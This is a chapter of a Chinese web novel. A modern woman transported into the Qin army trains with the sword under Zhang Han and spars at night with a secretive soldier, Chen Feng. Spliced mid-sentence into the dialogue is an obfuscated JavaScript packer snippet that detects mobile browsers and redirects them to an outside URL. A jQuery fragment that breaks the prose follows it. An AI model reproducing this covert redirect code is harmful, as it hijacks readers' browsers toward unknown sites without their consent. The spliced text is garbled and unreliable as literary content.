章邯轻笑了一声,直起身来,语气似有一丝调笑:“本将军一向赏罚分明。你若不负我所望,自不会亏待;但若撑不过十招……那便只有罚了。” 话音落下,他头也不回地转身离去,衣袂翻飞,背影如黑风卷过旷野,叫人一时竟不敢动弹。 秋日的光温柔地洒落在剑刃上,泛着点点银光。我举起手中之剑,在寂静的风中挥舞,心无旁骛,只专注于腕间尚存的那一缕力道——章邯留下的,沉稳、冷硬、带着不容置疑的强势。 我闭上双眼,回溯他剑意中那肆意潇洒的气息。一式一招,我一遍又一遍地演练,不厌其烦,从朝霞破晓到夕光沉落,再至漫天星辰,竟不觉疲惫。 自小我便羡慕那些仗剑行走的侠士,可惜生于现代社会,所有的刀光剑影只能寄托于书册与银幕之间。而今,那原以为虚构的世界却真切地将我包围——我不仅得名将指点,还成为真正执剑之人。这种奇异又真实的感觉,又怎忍辜负? 天色愈发沉黑,四野寂静。除了山风穿林的低鸣,便只剩我手中快意纵横的剑声,仿佛要将夜的宁静层层撕碎。 突然,我心头一凛,背脊悄然感到一缕极快的寒意逼近——那是一道剑意,轻若蝉翼,却如离弦之箭直取我背心。由于长日练剑后对气息格外敏锐,我几乎是本能地转身挥剑,剑刃正好挡下那一道自黑暗中疾刺而来的锋芒! 剑身一震,汗珠从我额上滚落,在剑面上破碎。我喘息未定,心跳如鼓。 月光清冷。黑夜里,一人持剑与我对峙,黑衣蒙面,眉目静谧,不带丝毫杀意。他的眉眼平和细长,却有种说不出的熟悉感。 只见他缓缓抬手,揭下面上的黑巾,嘴角挂着一丝温和的笑。 我急忙收剑落手,兴奋地脱口而出:“陈大哥?你怎么会在这儿?还……穿成这样?” 陈风收剑入鞘,声音温柔如月:“见你帐中烛火早已熄灭,遍问了人,都说你在此处练剑许久,我便寻过来看看。想着也许能帮上一点忙。” 我不由伸手指了指他上下,小声咕哝:“可你这一身打扮……倒像是个贼人。” 陈风笑意温和,慢悠悠脱下那身黑衣,露出里头的秦军军装:“那现在,总不像贼人了吧?” “不像了不像了。”我笑着摇头,心中泛起暖意。 他忽从怀中掏出两块还冒着热气的干饼,递到我眼前,“这是方才去灶房‘偷’来的,快趁热吃了。” 我怔怔看着那两块干饼,只觉鼻尖发酸,眼圈不自觉一热:“所以……你这副装扮,是为了给我偷饼?” “是啊。”他低声一笑,月光照在他眼中,静静流淌着温柔。 “快吃吧。吃完我陪你练剑,免得你日后又被上将军罚。”他语气轻快,像说着一件再寻常不过的小事。 我接过干饼,大口小口地咬着,“原来你都知道了啊?” “军中早有传言,说你和上将军关系匪浅。” “其实也没那么夸张。”我含着饼,含糊地说,“他不过是受人之托,对我多照拂一些罢了。” 陈风淡淡一笑,目光静如止水:“可依我对男子的了解……上将军对你,恐怕不只是‘照拂’。” 我差点□□饼噎住,咳得眼泪都快出来了,瞪他一眼:“你这话是什么意思?怕不是误会了什么?” 他自顾笑了笑,没有再言语。 此时我们并肩坐在草地上,相隔一米左右,夜风微凉,虫声轻浅。他仰头望着夜空,神情宁静。 我看着他,不由生出几分好奇:“陈大哥……你是秦人吗?” 他微怔了一下,片刻后道:“唤我陈风即可。我其实是魏人。临济城被秦军攻下后,我投了军。” “那你不恨秦人?” “我不过一介布衣,哪顾得上那么多?来参军打仗,只是想混口饭吃罢了。”他的语气平淡如水,却不见怨尤。 我细细端详着陈风。即便是一身寻常军装,也掩不住他身上的清雅沉静。尤其在月光下,更显儒雅温润,气质温和克制,像从哪幅古画中走出来的清贵之人。 “可你看着…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539853|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不像是为了混饭吃的人。”我轻声试探道。 只见他眼底那抹柔光稍稍收敛,神色微怔,旋即含笑道:“那我就当仪风姑娘是在夸我了。” 我轻轻一笑,并未答话,低头将剩下半块饼啃完。 夜风拂动草叶,星光静静地洒落,良久,陈风忽然拔剑而起,转身对我道:“起来吧。一个人练剑终究寂寞了些。况且我入秦军不久,也正需有人对练、切磋剑术。若仪风姑娘不嫌我技艺不精,我倒愿做你的陪练。如此一来,在军中也可彼此有个照应。如何?” 我忙将最后一口饼吞下,几分惊讶又几分欢喜地问道:“此话当真?你真的愿意陪我对练?” 毕竟,在这秦军中,我身份尴尬,几乎无人愿与我对招。独自练剑,终难突破技艺瓶颈。而陈风此时愿陪我出剑,简直是雪中送炭,使我得以真正有机会在章邯面前通过考验,不至再受责罚。 陈风轻轻一笑,道:“仪风姑娘不必如此讶异。你说过我们是朋友,那便该彼此相助。无论是我陪你练剑,还是你陪我练剑,受益的都是我们两人。” “有道理。”我点头一笑,目光清亮,“那就开始吧。可莫要对我手下留情。” 夜色沉沉,风过无声,陈风微微举起手中长剑,银光在剑锋上跳跃,映出他眉眼间一丝淡淡的冷意。他的嘴角仍挂着温和笑意,却在那平静中透出几分难掩的锋芒。 “你先出招吧。”他语气温缓,却自有一股从容气势。 我长剑一举,挡在身前,身形沉稳而利落,笑意浮上唇角:“那就……承让了。” 我率先出剑,一连数招皆奔其要害,却无一得手。陈风未动声色,只以极小的幅度轻巧化解我的攻势,剑身稳如磐石,防得滴水不漏。那份从容,仿佛不是在迎敌,而是在“观察”我的一招一式。 我再度攻去,他仍以守为主,偶有反击,剑势却不求命中,角度偏斜、剑路诡异,每一式都像故意偏离主线,实则步步紧逼,令我措手不及。我愈发着急,他却越发空灵。他的剑,似雾似影,扑朔迷离。 渐渐地,我的节奏被他彻底扰乱,出剑不稳,呼吸也变得急促。但他并未乘胜追击,反而后退半步,特意留出一个空隙,仿佛在等待我自乱阵脚。 我心中微凛,却也在那一瞬间明白:他不是不攻,而是在以“偏锋”设局,引我入阵。 忽然,他一剑疾出,毫无预兆,几乎擦颈而过。只听“叮”的一声轻响,我肩头一角衣襟已被削落,随风而飘。 陈风收剑而立,眼神澄澈,只是似笑非笑地望着我。月光洒在他肩头,将他整个人照得清宁如水,却又叫人看不透其深浅。 我握剑的手微微颤抖。隔着凄迷夜色,我愈发看不清眼前这人。以他的身手,怎可能只是秦军中一个寻常新兵? 他究竟是谁? 困惑未消,陈风却突然抱拳作揖,语气温和:“仪风姑娘,承让了。” 我收起心中疑虑,淡声回道:“陈风,你究竟还藏着多少惊喜?你这般诡谲的剑法,在军中迟早会出人头地。” 他只轻轻一笑,道:“那就借姑娘吉言了。” 夜已深,我也该回营休息。我向他道了声谢,便各自散去。走在回去的路上,我脑海中一遍遍回想着方才那一战。那剑影,那身法,那份藏而不露的锋芒……我总觉得他身上定藏着秘密。可这些,也许都与我无关。 现下,只要他愿意陪我练剑,章邯那一关,我定能闯过去。